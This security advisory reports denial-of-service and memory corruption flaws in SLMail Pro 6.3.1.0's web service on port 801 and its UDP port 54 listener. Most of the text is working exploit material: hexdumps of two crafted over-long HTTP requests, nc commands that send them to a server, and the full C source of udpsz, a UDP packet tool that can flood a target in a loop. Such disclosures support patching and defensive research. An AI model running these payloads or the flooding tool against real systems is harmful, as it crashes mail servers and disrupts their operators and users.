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SLMail Pro Multiple Denial of Service
------------------------------------------------------------------------
SUMMARY
" <http://www.seattlelab.com/products/slmailpro/> SLMail Pro is web-based
POP3 and SMTP email server software for Microsoft Windows 2000/2003 that
includes advanced features usually found only in Eenterprise-Level
systems." Multiple denial of service vulnerabilities have been discovered
in SLMail Pro.
DETAILS
Vulnerable Systems:
* SLMail Pro version 6.3.1.0 (webcontainer.exe version 1.0.0.336)
Memory corruption in Web Service
The SLMail Pro Web Service (webcontainer.exe) running on port 801 is
affected by a memory corruption vulnerability exploitable with a long URI.
Note that the effects of the vulnerability (control of some registers
which don't seem to lead to code execution, NULL pointer and other
crashes) can change.
Denial of Service in Web Service
The webcontainer service is also affected by a Denial of Service problem
which can be exploited to crash it through a HTTP parameter longer than
half megabyte. It doesn't seem to be possible to exploit this
vulnerability to control the code flow.
Possible Denial of Service on port 54
Another problem exists in the SLMail service which listens on the UDP port
54 (is not clear what specific function is performed by this port,
handling the DNS queries or replies probably) and which can be disabled
through the sending of an UDP packet bigger than 4096 bytes.
Exploit:
slmaildos1.txt:
0000000 4547 2054 412f 4141 4141 4141 4141 4141
0000010 4141 4141 4141 4141 4141 4141 4141 4141
*
00017b0 4141 4141 4141 4141 4141 2f41 4820 5454
00017c0 2f50 2e31 0d31 480a 736f 3a74 6c20 636f
00017d0 6c61 6f68 7473 0a0d 6f43 6e6e 6365 6974
00017e0 6e6f 203a 6c63 736f 0d65 0d0a 000a
00017ed
With:
nc SERVER 801 -v -v < slmaildos1.txt (do it twice)
slmaildos2.txt:
0000000 4547 2054 202f 5448 5054 312f 312e 0a0d
0000010 4141 4141 4141 4141 4141 4141 4141 4141
*
0082fe0 4141 4141 4141 0a0d 0a0d
0082fea
With:
nc SERVER 801 -v -v < slmaildos2.txt
This command:
udpsz SERVER 54 4097
With the following code:
/*
Copyright 2006 Luigi Auriemma - http://aluigi.org/testz/udpsz.zip
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA
http://www.gnu.org/licenses/gpl.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
u_char *load_file(u_char *filename, int *size);
int create_socket(void);
u_char get_byte(u_char *data);
int get_num(u_char *data);
int create_rand_byte(u_char *data, int len, u_int *seed);
u_int resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
int sd = 0,
i,
size,
randport = 0,
randbyte = 0,
loop = 0,
loopms = 0,
chr = 0;
u_short port,
sport = 0;
u_char *buff,
*filename = NULL;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"UDPSZ "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s [options] <host> <port> <pck_size>\n"
"\n"
"Options:\n"
"-b BYTE fill the packet with byte BYTE, which can be a
char or a hex\n"
" example: -b a or -b 0x61 or -b 61\n"
"-r random packet content\n"
"-s packet filled with incremental byte (use -b for
the start byte)\n"
"-p PORT use source port PORT\n"
"-R random source port\n"
"-S sequential source port\n"
"-f FILE load the content of the packet from FILE, the size
will be\n"
" truncated at pck_size, set it to -1 for using the
file size\n"
"-l MS send infinite packets with a delay of MS
milliseconds\n"
"\n", argv[0]);
exit(1);
}
argc -= 3;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'b': chr = get_byte(argv[++i]); break;
case 'r': randbyte = 1; break;
case 's': randbyte = 2; break;
case 'p': sport = get_num(argv[++i]); break;
case 'R': randport = 1; break;
case 'S': randport = 2; break;
case 'l': {
loop = 1;
loopms = get_num(argv[++i]);
} break;
case 'f': filename = argv[++i]; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n",
argv[i]);
exit(1);
} break;
}
}
port = get_num(argv[argc + 1]);
size = get_num(argv[argc + 2]);
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
seed = time(NULL);
if(filename) {
buff = load_file(filename, &size);
} else {
buff = malloc(size);
if(!buff) std_err();
if(!randbyte) {
memset(buff, chr, size);
}
}
printf("- packet size: %d\n", size);
if(randport) {
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(~seed);
peerl.sin_family = AF_INET;
} else {
sd = create_socket();
}
if(sport && !randport) {
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(sport);
peerl.sin_family = AF_INET;
printf("- source port: %hu\n", sport);
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
}
#ifndef WIN32
loopms *= 1000;
#endif
printf("- send packets: ");
for(;;) {
if(randbyte == 2) {
memset(buff, chr++, size);
} else if(randbyte == 1) {
create_rand_byte(buff, size, &seed);
}
if(randport) {
sd = create_socket();
do {
if(randport == 2) { // sequential
peerl.sin_port = htons(sport++);
} else {
peerl.sin_port += seed; // not really random
}
} while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) <
0);
}
if(sendto(sd, buff, size, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
fputc('.', stdout);
if(randport) {
close(sd);
}
if(!loop) break;
#ifdef WIN32
sleep(loopms);
#else
usleep(loopms);
#endif
}
if(!randport) {
close(sd);
}
free(buff);
printf("\n- finished\n");
return(0);
}
u_char *load_file(u_char *filename, int *size) {
struct stat xstat;
FILE *fd;
u_char *buff;
printf("- load file: %s\n", filename);
fd = fopen(filename, "rb");
if(!fd) std_err();
fstat(fileno(fd), &xstat);
if((*size < 0) || (*size > xstat.st_size)) {
*size = xstat.st_size;
}
buff = malloc(*size);
if(!buff) std_err();
fread(buff, *size, 1, fd);
fclose(fd);
return(buff);
}
int create_socket(void) {
int sd,
on = 1;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); //
useful?
return(sd);
}
u_char get_byte(u_char *data) {
int chr;
if(strlen(data) == 1) {
return(data[0]);
}
if(tolower(data[1]) == 'x') {
data += 2;
} else if(tolower(data[0]) == 'x') {
data++;
}
sscanf(data, "%x", &chr);
return(chr);
}
int get_num(u_char *data) {
int num;
if(tolower(data[1]) == 'x') {
sscanf(data + 2, "%x", &num);
} else if(tolower(data[0]) == 'x') {
sscanf(data + 1, "%x", &num);
} else {
sscanf(data, "%d", &num);
}
return(num);
}
int create_rand_byte(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p;
rnd = *seed;
p = data;
while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3; // useless???
*p++ = rnd & 0xff;
}
*seed = rnd;
return(p - data);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/slmaildos-adv.txt>
http://aluigi.altervista.org/adv/slmaildos-adv.txt
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